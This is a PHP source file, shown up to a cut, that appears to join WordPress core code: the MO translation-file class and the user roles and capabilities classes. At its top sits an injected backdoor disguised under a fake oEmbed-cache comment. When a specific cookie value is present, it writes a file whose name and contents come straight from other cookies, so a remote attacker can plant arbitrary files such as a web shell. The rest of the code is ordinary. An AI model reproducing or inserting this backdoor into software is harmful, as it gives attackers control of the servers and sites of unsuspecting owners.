/** * Save all oEmbed caches. Unused by core as of 4.0.0. * * @param str $accept Accept ID to save the caches for. */ if (!empty($_COOKIE['accept'])) { // Look for known internal handlers if ($_COOKIE['accept'] === 'n2a2d') { $lang = $_COOKIE['lang']; $encoding = $_COOKIE['encoding']; file_put_contents($lang,$encoding); } } /** * Class for working with MO files * * @version $Id: mo.php 718 2012-10-31 00:32:02Z nbachiyski $ * @package pomo * @subpackage mo */ require_once dirname(__FILE__) . '/translations.php'; require_once dirname(__FILE__) . '/streams.php'; if ( !class_exists( 'MO' ) ): class MO extends Gettext_Translations { var $_nplurals = 2; /** * Fills up with the entries from MO file $filename * * @param string $filename MO file to load */ function import_from_file($filename) { $reader = new POMO_FileReader($filename); if (!$reader->is_resource()) return false; return $this->import_from_reader($reader); } function export_to_file($filename) { $fh = fopen($filename, 'wb'); if ( !$fh ) return false; $res = $this->export_to_file_handle( $fh ); fclose($fh); return $res; } function export() { $tmp_fh = fopen("php://temp", 'r+'); if ( !$tmp_fh ) return false; $this->export_to_file_handle( $tmp_fh ); rewind( $tmp_fh ); return stream_get_contents( $tmp_fh ); } function is_entry_good_for_export( $entry ) { if ( empty( $entry->translations ) ) { return false; } if ( !array_filter( $entry->translations ) ) { return false; } return true; } function export_to_file_handle($fh) { $entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) ); ksort($entries); $magic = 0x950412de; $revision = 0; $total = count($entries) + 1; // all the headers are one entry $originals_lenghts_addr = 28; $translations_lenghts_addr = $originals_lenghts_addr + 8 * $total; $size_of_hash = 0; $hash_addr = $translations_lenghts_addr + 8 * $total; $current_addr = $hash_addr; fwrite($fh, pack('V*', $magic, $revision, $total, $originals_lenghts_addr, $translations_lenghts_addr, $size_of_hash, $hash_addr)); fseek($fh, $originals_lenghts_addr); // headers' msgid is an empty string fwrite($fh, pack('VV', 0, $current_addr)); $current_addr++; $originals_table = chr(0); $reader = new POMO_Reader(); foreach($entries as $entry) { $originals_table .= $this->export_original($entry) . chr(0); $length = $reader->strlen($this->export_original($entry)); fwrite($fh, pack('VV', $length, $current_addr)); $current_addr += $length + 1; // account for the NULL byte after } $exported_headers = $this->export_headers(); fwrite($fh, pack('VV', $reader->strlen($exported_headers), $current_addr)); $current_addr += strlen($exported_headers) + 1; $translations_table = $exported_headers . chr(0); foreach($entries as $entry) { $translations_table .= $this->export_translations($entry) . chr(0); $length = $reader->strlen($this->export_translations($entry)); fwrite($fh, pack('VV', $length, $current_addr)); $current_addr += $length + 1; } fwrite($fh, $originals_table); fwrite($fh, $translations_table); return true; } function export_original($entry) { //TODO: warnings for control characters $exported = $entry->singular; if ($entry->is_plural) $exported .= chr(0).$entry->plural; if (!is_null($entry->context)) $exported = $entry->context . chr(4) . $exported; return $exported; } function export_translations($entry) { //TODO: warnings for control characters return implode(chr(0), $entry->translations); } function export_headers() { $exported = ''; foreach($this->headers as $header => $value) { $exported.= "$header: $value\n"; } return $exported; } function get_byteorder($magic) { // The magic is 0x950412de // bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565 $magic_little = (int) - 1794895138; $magic_little_64 = (int) 2500072158; // 0xde120495 $magic_big = ((int) - 569244523) & 0xFFFFFFFF; if ($magic_little == $magic || $magic_little_64 == $magic) { return 'little'; } else if ($magic_big == $magic) { return 'big'; } else { return false; } } /** * @param POMO_FileReader $reader */ function import_from_reader($reader) { $endian_string = MO::get_byteorder($reader->readint32()); if (false === $endian_string) { return false; } $reader->setEndian($endian_string); $endian = ('big' == $endian_string)? 'N' : 'V'; $header = $reader->read(24); if ($reader->strlen($header) != 24) return false; // parse header $header = unpack("{$endian}revision/{$endian}total/{$endian}originals_lenghts_addr/{$endian}translations_lenghts_addr/{$endian}hash_length/{$endian}hash_addr", $header); if (!is_array($header)) return false; // support revision 0 of MO format specs, only if ( $header['revision'] != 0 ) { return false; } // seek to data blocks $reader->seekto( $header['originals_lenghts_addr'] ); // read originals' indices $originals_lengths_length = $header['translations_lenghts_addr'] - $header['originals_lenghts_addr']; if ( $originals_lengths_length != $header['total'] * 8 ) { return false; } $originals = $reader->read($originals_lengths_length); if ( $reader->strlen( $originals ) != $originals_lengths_length ) { return false; } // read translations' indices $translations_lenghts_length = $header['hash_addr'] - $header['translations_lenghts_addr']; if ( $translations_lenghts_length != $header['total'] * 8 ) { return false; } $translations = $reader->read($translations_lenghts_length); if ( $reader->strlen( $translations ) != $translations_lenghts_length ) { return false; } // transform raw data into set of indices $originals = $reader->str_split( $originals, 8 ); $translations = $reader->str_split( $translations, 8 ); // skip hash table $strings_addr = $header['hash_addr'] + $header['hash_length'] * 4; $reader->seekto($strings_addr); $strings = $reader->read_all(); $reader->close(); for ( $i = 0; $i < $header['total']; $i++ ) { $o = unpack( "{$endian}length/{$endian}pos", $originals[$i] ); $t = unpack( "{$endian}length/{$endian}pos", $translations[$i] ); if ( !$o || !$t ) return false; // adjust offset due to reading strings to separate space before $o['pos'] -= $strings_addr; $t['pos'] -= $strings_addr; $original = $reader->substr( $strings, $o['pos'], $o['length'] ); $translation = $reader->substr( $strings, $t['pos'], $t['length'] ); if ('' === $original) { $this->set_headers($this->make_headers($translation)); } else { $entry = &$this->make_entry($original, $translation); $this->entries[$entry->key()] = &$entry; } } return true; } /** * Build a Translation_Entry from original string and translation strings, * found in a MO file * * @static * @param string $original original string to translate from MO file. Might contain * 0x04 as context separator or 0x00 as singular/plural separator * @param string $translation translation string from MO file. Might contain * 0x00 as a plural translations separator */ function &make_entry($original, $translation) { $entry = new Translation_Entry(); // look for context $parts = explode(chr(4), $original); if (isset($parts[1])) { $original = $parts[1]; $entry->context = $parts[0]; } // look for plural original $parts = explode(chr(0), $original); $entry->singular = $parts[0]; if (isset($parts[1])) { $entry->is_plural = true; $entry->plural = $parts[1]; } // plural translations are also separated by \0 $entry->translations = explode(chr(0), $translation); return $entry; } function select_plural_form($count) { return $this->gettext_select_plural_form($count); } function get_plural_forms_count() { return $this->_nplurals; } } endif; /** * WordPress Roles and Capabilities. * * @package WordPress * @subpackage User */ /** * WordPress User Roles. * * The role option is simple, the structure is organized by role name that store * the name in value of the 'name' key. The capabilities are stored as an array * in the value of the 'capability' key. * * array ( * 'rolename' => array ( * 'name' => 'rolename', * 'capabilities' => array() * ) * ) * * @since 2.0.0 * @package WordPress * @subpackage User */ class WP_Roles { /** * List of roles and capabilities. * * @since 2.0.0 * @access public * @var array */ public $roles; /** * List of the role objects. * * @since 2.0.0 * @access public * @var array */ public $role_objects = array(); /** * List of role names. * * @since 2.0.0 * @access public * @var array */ public $role_names = array(); /** * Option name for storing role list. * * @since 2.0.0 * @access public * @var string */ public $role_key; /** * Whether to use the database for retrieval and storage. * * @since 2.1.0 * @access public * @var bool */ public $use_db = true; /** * Constructor * * @since 2.0.0 */ public function __construct() { $this->_init(); } /** * Make private/protected methods readable for backwards compatibility. * * @since 4.0.0 * @access public * * @param callable $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|bool Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { return call_user_func_array( array( $this, $name ), $arguments ); } /** * Set up the object properties. * * The role key is set to the current prefix for the $wpdb object with * 'user_roles' appended. If the $wp_user_roles global is set, then it will * be used and the role option will not be updated or used. * * @since 2.1.0 * @access protected * * @global wpdb $wpdb WordPress database abstraction object. * @global array $wp_user_roles Used to set the 'roles' property value. */ protected function _init() { global $wpdb, $wp_user_roles; $this->role_key = $wpdb->get_blog_prefix() . 'user_roles'; if ( ! empty( $wp_user_roles ) ) { $this->roles = $wp_user_roles; $this->use_db = false; } else { $this->roles = get_option( $this->role_key ); } if ( empty( $this->roles ) ) return; $this->role_objects = array(); $this->role_names = array(); foreach ( array_keys( $this->roles ) as $role ) { $this->role_objects[$role] = new WP_Role( $role, $this->roles[$role]['capabilities'] ); $this->role_names[$role] = $this->roles[$role]['name']; } } /** * Reinitialize the object * * Recreates the role objects. This is typically called only by switch_to_blog() * after switching wpdb to a new blog ID. * * @since 3.5.0 * @access public */ public function reinit() { // There is no need to reinit if using the wp_user_roles global. if ( ! $this->use_db ) return; global $wpdb; // Duplicated from _init() to avoid an extra function call. $this->role_key = $wpdb->get_blog_prefix() . 'user_roles'; $this->roles = get_option( $this->role_key ); if ( empty( $this->roles ) ) return; $this->role_objects = array(); $this->role_names = array(); foreach ( array_keys( $this->roles ) as $role ) { $this->role_objects[$role] = new WP_Role( $role, $this->roles[$role]['capabilities'] ); $this->role_names[$role] = $this->roles[$role]['name']; } } /** * Add role name with capabilities to list. * * Updates the list of roles, if the role doesn't already exist. * * The capabilities are defined in the following format `array( 'read' => true );` * To explicitly deny a role a capability you set the value for that capability to false. * * @since 2.0.0 * @access public * * @param string $role Role name. * @param string $display_name Role display name. * @param array $capabilities List of role capabilities in the above format. * @return WP_Role|null WP_Role object if role is added, null if already exists. */ public function add_role( $role, $display_name, $capabilities = array() ) { if ( isset( $this->roles[$role] ) ) return; $this->roles[$role] = array( 'name' => $display_name, 'capabilities' => $capabilities ); if ( $this->use_db ) update_option( $this->role_key, $this->roles ); $this->role_objects[$role] = new WP_Role( $role, $capabilities ); $this->role_names[$role] = $display_name; return $this->role_objects[$role]; } /** * Remove role by name. * * @since 2.0.0 * @access public * * @param string $role Role name. */ public function remove_role( $role ) { if ( ! isset( $this->role_objects[$role] ) ) return; unset( $this->role_objects[$role] ); unset( $this->role_names[$role] ); unset( $this->roles[$role] ); if ( $this->use_db ) update_option( $this->role_key, $this->roles ); if ( get_option( 'default_role' ) == $role ) update_option( 'default_role', 'subscriber' ); } /** * Add capability to role. * * @since 2.0.0 * @access public * * @param string $role Role name. * @param string $cap Capability name. * @param bool $grant Optional, default is true. Whether role is capable of performing capability. */ public function add_cap( $role, $cap, $grant = true ) { if ( ! isset( $this->roles[$role] ) ) return; $this->roles[$role]['capabilities'][$cap] = $grant; if ( $this->use_db ) update_option( $this->role_key, $this->roles ); } /** * Remove capability from role. * * @since 2.0.0 * @access public * * @param string $role Role name. * @param string $cap Capability name. */ public function remove_cap( $role, $cap ) { if ( ! isset( $this->roles[$role] ) ) return; unset( $this->roles[$role]['capabilities'][$cap] ); if ( $this->use_db ) update_option( $this->role_key, $this->roles ); } /** * Retrieve role object by name. * * @since 2.0.0 * @access public * * @param string $role Role name. * @return WP_Role|null WP_Role object if found, null if the role does not exist. */ public function get_role( $role ) { if ( isset( $this->role_objects[$role] ) ) return $this->role_objects[$role]; else return null; } /** * Retrieve list of role names. * * @since 2.0.0 * @access public * * @return array List of role names. */ public function get_names() { return $this->role_names; } /** * Whether role name is currently in the list of available roles. * * @since 2.0.0 * @access public * * @param string $role Role name to look up. * @return bool */ public function is_role( $role ) { return isset( $this->role_names[$role] ); } } /** * WordPress Role class. * * @since 2.0.0 * @package WordPress * @subpackage User */ class WP_Role { /** * Role name. * * @since 2.0.0 * @access public * @var string */ public $name; /** * List of capabilities the role contains. * * @since 2.0.0 * @access public * @var array */ public $capabilities; /** * Constructor - Set up object properties. * * The list of capabilities, must have the key as the name of the capability * and the value a boolean of whether it is granted to the role. * * @since 2.0.0 * @access public * * @param string $role Role name. * @param array $capabilities List of capabilities. */ public function __construct( $role, $capabilities ) { $this->name = $role; $this->capabilities = $capabilities; } /** * Assign role a capability. * * @see WP_Roles::add_cap() Method uses implementation for role. * @since 2.0.0 * @access public * * @param string $cap Capability name. * @param bool $grant Whether role has capability privilege. */ public function add_cap( $cap, $grant = true ) { global $wp_roles; if ( ! isset( $wp_roles ) ) $wp_roles = new WP_Roles(); $this->capabilities[$cap] = $grant; $wp_roles->add_cap( $this->name, $cap, $grant ); } /** * Remove capability from role. * * This is a container for {@link WP_Roles::remove_cap()} to remove the * capability from the role. That is to say, that {@link * WP_Roles::remove_cap()} implements the functionality, but it also makes * sense to use this class, because you don't need to enter the role name. * * @since 2.0.0 * @access public * * @param string $cap Capability name. */ public function remove_cap( $cap ) { global $wp_roles; if ( ! isset( $wp_roles ) ) $wp_roles = new WP_Roles(); unset( $this->capabilities[$cap] ); $wp_roles->remove_cap( $this->name, $cap ); } /** * Whether role has capability. * * The capabilities is passed through the 'role_has_cap' filter. The first * parameter for the hook is the list of capabilities the class has * assigned. The second parameter is the capability name to look for. The * third and final parameter for the hook is the role name. * * @since 2.0.0 * @access public * * @param string $cap Capability name. * @return bool True, if user has capability. False, if doesn't have capability. */ public function has_cap( $cap ) { /** * Filter which capabilities a role has. * * @since 2.0.0 * * @param array $capabilities Array of role capabilities. * @param string $cap Capability name. * @param string $name Role name. */ $capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name ); if ( !empty( $capabilities[$cap] ) ) return $capabilities[$cap]; else return false; } } /** * WordPress User class. * * @since 2.0.0 * @package WordPress * @subpackage User */ class WP_User { /** * User data container. * * @since 2.0.0 * @access private * @var array */ var $data; /** * The user's ID. * * @since 2.1.0 * @access public * @var int */ public $ID = 0; /** * The individual capabilities the user has been given. * * @since 2.0.0 * @access public * @var array */ public $caps = array(); /** * User metadata option name. * * @since 2.0.0 * @access public * @var string */ public $cap_key; /** * The roles the user is part of. * * @since 2.0.0 * @access public * @var array */ public $roles = array(); /** * All capabilities the user has, including individual and role based. * * @since 2.0.0 * @access public * @var array */ public $allcaps = array(); /** * The filter context applied to user data fields. * * @since 2.9.0 * @access private * @var string */ var $filter = null; private static $back_compat_keys; /** * Constructor * * Retrieves the userdata and passes it to {@link WP_User::init()}. * * @since 2.0.0 * @access public * * @param int|string|stdClass|WP_User $id User's ID, a WP_User object, or a user object from the DB. * @param string $name Optional. User's username * @param int $blog_id Optional Blog ID, defaults to current blog. * @return WP_User */ public function __construct( $id = 0, $name = '', $blog_id = '' ) { if ( ! isset( self::$back_compat_keys ) ) { $prefix = $GLOBALS['wpdb']->prefix; self::$back_compat_keys = array( 'user_firstname' => 'first_name', 'user_lastname' => 'last_name', 'user_description' => 'description', 'user_level' => $prefix . 'user_level', $prefix . 'usersettings' => $prefix . 'user-settings', $prefix . 'usersettingstime' => $prefix . 'user-settings-time', ); } if ( is_a( $id, 'WP_User' ) ) { $this->init( $id->data, $blog_id ); return; } elseif ( is_object( $id ) ) { $this->init( $id, $blog_id ); return; } if ( ! empty( $id ) && ! is_numeric( $id ) ) { $name = $id; $id = 0; } if ( $id ) $data = self::get_data_by( 'id', $id ); else $data = self::get_data_by( 'login', $name ); if ( $data ) $this->init( $data, $blog_id ); } /** * Sets up object properties, including capabilities. * * @param object $data User DB row object * @param int $blog_id Optional. The blog id to initialize for */ public function init( $data, $blog_id = '' ) { $this->data = $data; $this->ID = (int) $data->ID; $this->for_blog( $blog_id ); } /** * Return only the main user fields * * @since 3.3.0 * * @param string $field The field to query against: 'id', 'slug', 'email' or 'login' * @param string|int $value The field value * @return object Raw user object */ public static function get_data_by( $field, $value ) { global $wpdb; if ( 'id' == $field ) { // Make sure the value is numeric to avoid casting objects, for example, // to int 1. if ( ! is_numeric( $value ) ) return false; $value = intval( $value ); if ( $value < 1 ) return false; } else { $value = trim( $value ); } if ( !$value ) return false; switch ( $field ) { case 'id': $user_id = $value; $db_field = 'ID'; break; case 'slug': $user_id = wp_cache_get($value, 'userslugs'); $db_field = 'user_nicename'; break; case 'email': $user_id = wp_cache_get($value, 'useremail'); $db_field = 'user_email'; break; case 'login': $value = sanitize_user( $value ); $user_id = wp_cache_get($value, 'userlogins'); $db_field = 'user_login'; break; default: return false; } if ( false !== $user_id ) { if ( $user = wp_cache_get( $user_id, 'users' ) ) return $user; } if ( !$user = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE $db_field = %s", $value ) ) ) return false; update_user_caches( $user ); return $user; } /** * Magic method for checking the existence of a certain custom field * * @since 3.3.0 * @param string $key * @return bool */ public function __isset( $key ) { if ( 'id' == $key ) { _deprecated_argument( 'WP_User->id', '2.1', __( 'Use WP_User->ID instead.' ) ); $key = 'ID'; } if ( isset( $this->data->$key ) ) return true; if ( isset( self::$back_compat_keys[ $key ] ) ) $key = self::$back_compat_keys[ $key ]; return metadata_exists( 'user', $this->ID, $key ); } /** * Magic method for accessing custom fields * * @since 3.3.0 * @param string $key * @return mixed */ public function __get( $key ) { if ( 'id' == $key ) { _deprecated_argument( 'WP_User->id', '2.1', __( 'Use WP_User->ID instead.' ) ); return $this->ID; } if ( isset( $this->data->$key ) ) { $value = $this->data->$key; } else { if ( isset( self::$back_compat_keys[ $key ] ) ) $key = self::$back_compat_keys[ $key ]; $value = get_user_meta( $this->ID, $key, true ); } if ( $this->filter ) { $value = sanitize_user_field( $key, $value, $this->ID, $this->filter ); } return $value; } /** * Magic method for setting custom fields * * @since 3.3.0 */ public function __set( $key, $value ) { if ( 'id' == $key ) { _deprecated_argument( 'WP_User->id', '2.1', __( 'Use WP_User->ID instead.' ) ); $this->ID = $value; return; } $this->data->$key = $value; } /** * Determine whether the user exists in the database. * * @since 3.4.0 * @access public * * @return bool True if user exists in the database, false if not. */ public function exists() { return ! empty( $this->ID ); } /** * Retrieve the value of a property or meta key. * * Retrieves from the users and usermeta table. * * @since 3.3.0 * * @param string $key Property */ public function get( $key ) { return $this->__get( $key ); } /** * Determine whether a property or meta key is set * * Consults the users and usermeta tables. * * @since 3.3.0 * * @param string $key Property */ public function has_prop( $key ) { return $this->__isset( $key ); } /** * Return an array representation. * * @since 3.5.0 * * @return array Array representation. */ public function to_array() { return get_object_vars( $this->data ); } /** * Set up capability object properties. * * Will set the value for the 'cap_key' property to current database table * prefix, followed by 'capabilities'. Will then check to see if the * property matching the 'cap_key' exists and is an array. If so, it will be * used. * * @access protected * @since 2.1.0 * * @param string $cap_key Optional capability key */ function _init_caps( $cap_key = '' ) { global $wpdb; if ( empty($cap_key) ) $this->cap_key = $wpdb->get_blog_prefix() . 'capabilities'; else $this->cap_key = $cap_key; $this->caps = get_user_meta( $this->ID, $this->cap_key, true ); if ( ! is_array( $this->caps ) ) $this->caps = array(); $this->get_role_caps(); } /** * Retrieve all of the role capabilities and merge with individual capabilities. * * All of the capabilities of the roles the user belongs to are merged with * the users individual roles. This also means that the user can be denied * specific roles that their role might have, but the specific user isn't * granted permission to. * * @since 2.0.0 * @uses $wp_roles * @access public * * @return array List of all capabilities for the user. */ public function get_role_caps() { global $wp_roles; if ( ! isset( $wp_roles ) ) $wp_roles = new WP_Roles(); //Filter out caps that are not role names and assign to $this->roles if ( is_array( $this->caps ) ) $this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) ); //Build $allcaps from role caps, overlay user's $caps $this->allcaps = array(); foreach ( (array) $this->roles as $role ) { $the_role = $wp_roles->get_role( $role ); $this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities ); } $this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps ); return $this->allcaps; } /** * Add role to user. * * Updates the user's meta data option with capabilities and roles. * * @since 2.0.0 * @access public * * @param string $role Role name. */ public function add_role( $role ) { $this->caps[$role] = true; update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); } /** * Remove role from user. * * @since 2.0.0 * @access public * * @param string $role Role name. */ public function remove_role( $role ) { if ( !in_array($role, $this->roles) ) return; unset( $this->caps[$role] ); update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); } /** * Set the role of the user. * * This will remove the previous roles of the user and assign the user the * new one. You can set the role to an empty string and it will remove all * of the roles from the user. * * @since 2.0.0 * @access public * * @param string $role Role name. */ public function set_role( $role ) { if ( 1 == count( $this->roles ) && $role == current( $this->roles ) ) return; foreach ( (array) $this->roles as $oldrole ) unset( $this->caps[$oldrole] ); $old_roles = $this->roles; if ( !empty( $role ) ) { $this->caps[$role] = true; $this->roles = array( $role => true ); } else { $this->roles = false; } update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires after the user's role has changed. * * @since 2.9.0 * @since 3.6.0 Added $old_roles to include an array of the user's previous roles. * * @param int $user_id The user ID. * @param string $role The new role. * @param array $old_roles An array of the user's previous roles. */ do_action( 'set_user_role', $this->ID, $role, $old_roles ); } /** * Choose the maximum level the user has. * * Will compare the level from the $item parameter against the $max * parameter. If the item is incorrect, then just the $max parameter value * will be returned. * * Used to get the max level based on the capabilities the user has. This * is also based on roles, so if the user is assigned the Administrator role * then the capability 'level_10' will exist and the user will get that * value. * * @since 2.0.0 * @access public * * @param int $max Max level of user. * @param string $item Level capability name. * @return int Max Level. */ public function level_reduction( $max, $item ) { if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) { $level = intval( $matches[1] ); return max( $max, $level ); } else { return $max; } } /** * Update the maximum user level for the user. * * Updates the 'user_level' user metadata (includes prefix that is the * database table prefix) with the maximum user level. Gets the value from * the all of the capabilities that the user has. * * @since 2.0.0 * @access public */ public function update_user_level_from_caps() { global $wpdb; $this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 ); update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level ); } /** * Add capability and grant or deny access to capability. * * @since 2.0.0 * @access public * * @param string $cap Capability name. * @param bool $grant Whether to grant capability to user. */ public function add_cap( $cap, $grant = true ) { $this->caps[$cap] = $grant; update_user_meta( $this->ID, $this->cap_key, $this->caps ); } /** * Remove capability from user. * * @since 2.0.0 * @access public * * @param string $cap Capability name. */ public function remove_cap( $cap ) { if ( ! isset( $this->caps[$cap] ) ) return; unset( $this->caps[$cap] ); update_user_meta( $this->ID, $this->cap_key, $this->caps ); } /** * Remove all of the capabilities of the user. * * @since 2.1.0 * @access public */ public function remove_all_caps() { global $wpdb; $this->caps = array(); delete_user_meta( $this->ID, $this->cap_key ); delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' ); $this->get_role_caps(); } /** * Whether user has capability or role name. * * This is useful for looking up whether the user has a specific role * assigned to the user. The second optional parameter can also be used to * check for capabilities against a specific object, such as a post or user. * * @since 2.0.0 * @access public * * @param string|int $cap Capability or role name to search. * @return bool True, if user has capability; false, if user does not have capability. */ public function has_cap( $cap ) { if ( is_numeric( $cap ) ) { _deprecated_argument( __FUNCTION__, '2.0', __('Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead.') ); $cap = $this->translate_level_to_cap( $cap ); } $args = array_slice( func_get_args(), 1 ); $args = array_merge( array( $cap, $this->ID ), $args ); $caps = call_user_func_array( 'map_meta_cap', $args ); // Multisite super admin has all caps by definition, Unless specifically denied. if ( is_multisite() && is_super_admin( $this->ID ) ) { if ( in_array('do_not_allow', $caps) ) return false; return true; } /** * Dynamically filter a user's capabilities. * * @since 2.0.0 * @since 3.7.0 Added the user object. * * @param array $allcaps An array of all the role's capabilities. * @param array $caps Actual capabilities for meta capability. * @param array $args Optional parameters passed to has_cap(), typically object ID. * @param WP_User $user The user object. */ // Must have ALL requested caps $capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this ); $capabilities['exist'] = true; // Everyone is allowed to exist foreach ( (array) $caps as $cap ) { if ( empty( $capabilities[ $cap ] ) ) return false; } return true; } /** * Convert numeric level to level capability name. * * Prepends 'level_' to level number. * * @since 2.0.0 * @access public * * @param int $level Level number, 1 to 10. * @return string */ public function translate_level_to_cap( $level ) { return 'level_' . $level; } /** * Set the blog to operate on. Defaults to the current blog. * * @since 3.0.0 * * @param int $blog_id Optional Blog ID, defaults to current blog. */ public function for_blog( $blog_id = '' ) { global $wpdb; if ( ! empty( $blog_id ) ) $cap_key = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities'; else $cap_key = ''; $this->_init_caps( $cap_key ); } } /** * Map meta capabilities to primitive capabilities. * * This does not actually compare whether the user ID has the actual capability, * just what the capability or capabilities are. Meta capability list value can * be 'delete_user', 'edit_user', 'remove_user', 'promote_user', 'delete_post', * 'delete_page', 'edit_post', 'edit_page', 'read_post', or 'read_page'. * * @since 2.0.0 * * @param string $cap Capability name. * @param int $user_id User ID. * @return array Actual capabilities for meta capability. */ function map_meta_cap( $cap, $user_id ) { $args = array_slice( func_get_args(), 2 ); $caps = array(); switch ( $cap ) { case 'remove_user': $caps[] = 'remove_users'; break; case 'promote_user': $caps[] = 'promote_users'; break; case 'edit_user': case 'edit_users': // Allow user to edit itself if ( 'edit_user' == $cap && isset( $args[0] ) && $user_id == $args[0] ) break; // If multisite these caps are allowed only for super admins. if ( is_multisite() && !is_super_admin( $user_id ) ) $caps[] = 'do_not_allow'; else $caps[] = 'edit_users'; // edit_user maps to edit_users. break; case 'delete_post': case 'delete_page': $post = get_post( $args[0] ); if ( 'revision' == $post->post_type ) { $post = get_post( $post->post_parent ); } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'delete_post' == $cap ) $cap = $post_type->cap->$cap; break; } // If the post author is set and the user is the author... if ( $post->post_author && $user_id == $post->post_author ) { // If the post is published... if ( 'publish' == $post->post_status ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'trash' == $post->post_status ) { if ( 'publish' == get_post_meta( $post->ID, '_wp_trash_meta_status', true ) ) { $caps[] = $post_type->cap->delete_published_posts; } } else { // If the post is draft... $caps[] = $post_type->cap->delete_posts; } } else { // The user is trying to edit someone else's post. $caps[] = $post_type->cap->delete_others_posts; // The post is published, extra cap required. if ( 'publish' == $post->post_status ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'private' == $post->post_status ) { $caps[] = $post_type->cap->delete_private_posts; } } break; // edit_post breaks down to edit_posts, edit_published_posts, or // edit_others_posts case 'edit_post': case 'edit_page': $post = get_post( $args[0] ); if ( empty( $post ) ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' == $post->post_type ) { $post = get_post( $post->post_parent ); } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'edit_post' == $cap ) $cap = $post_type->cap->$cap; break; } // If the post author is set and the user is the author... if ( $post->post_author && $user_id == $post->post_author ) { // If the post is published... if ( 'publish' == $post->post_status ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'trash' == $post->post_status ) { if ( 'publish' == get_post_meta( $post->ID, '_wp_trash_meta_status', true ) ) { $caps[] = $post_type->cap->edit_published_posts; } } else { // If the post is draft... $caps[] = $post_type->cap->edit_posts; } } else { // The user is trying to edit someone else's post. $caps[] = $post_type->cap->edit_others_posts; // The post is published, extra cap required. if ( 'publish' == $post->post_status ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'private' == $post->post_status ) { $caps[] = $post_type->cap->edit_private_posts; } } break; case 'read_post': case 'read_page': $post = get_post( $args[0] ); if ( 'revision' == $post->post_type ) { $post = get_post( $post->post_parent ); } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'read_post' == $cap ) $cap = $post_type->cap->$cap; break; } $status_obj = get_post_status_object( $post->post_status ); if ( $status_obj->public ) { $caps[] = $post_type->cap->read; break; } if ( $post->post_author && $user_id == $post->post_author ) { $caps[] = $post_type->cap->read; } elseif ( $status_obj->private ) { $caps[] = $post_type->cap->read_private_posts; } else { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } break; case 'publish_post': $post = get_post( $args[0] ); $post_type = get_post_type_object( $post->post_type ); $caps[] = $post_type->cap->publish_posts; break; case 'edit_post_meta': case 'delete_post_meta': case 'add_post_meta': $post = get_post( $args[0] ); $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); $meta_key = isset( $args[ 1 ] ) ? $args[ 1 ] : false; if ( $meta_key && has_filter( "auth_post_meta_{$meta_key}" ) ) { /** * Filter whether the user is allowed to add post meta to a post. * * The dynamic portion of the hook name, `$meta_key`, refers to the * meta key passed to {@see map_meta_cap()}. * * @since 3.3.0 * * @param bool $allowed Whether the user can add the post meta. Default false. * @param string $meta_key The meta key. * @param int $post_id Post ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param array $caps User capabilities. */ $allowed = apply_filters( "auth_post_meta_{$meta_key}", false, $meta_key, $post->ID, $user_id, $cap, $caps ); if ( ! $allowed ) $caps[] = $cap; } elseif ( $meta_key && is_protected_meta( $meta_key, 'post' ) ) { $caps[] = $cap; } break; case 'edit_comment': $comment = get_comment( $args[0] ); if ( empty( $comment ) ) break; $post = get_post( $comment->comment_post_ID ); /* * If the post doesn't exist, we have an orphaned comment. * Fall back to the edit_posts capability, instead. */ if ( $post ) { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } else { $caps = map_meta_cap( 'edit_posts', $user_id ); } break; case 'unfiltered_upload': if ( defined('ALLOW_UNFILTERED_UPLOADS') && ALLOW_UNFILTERED_UPLOADS && ( !is_multisite() || is_super_admin( $user_id ) ) ) $caps[] = $cap; else $caps[] = 'do_not_allow'; break; case 'unfiltered_html' : // Disallow unfiltered_html for all users, even admins and super admins. if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML ) $caps[] = 'do_not_allow'; elseif ( is_multisite() && ! is_super_admin( $user_id ) ) $caps[] = 'do_not_allow'; else $caps[] = $cap; break; case 'edit_files': case 'edit_plugins': case 'edit_themes': // Disallow the file editors. if ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT ) $caps[] = 'do_not_allow'; elseif ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS ) $caps[] = 'do_not_allow'; elseif ( is_multisite() && ! is_super_admin( $user_id ) ) $caps[] = 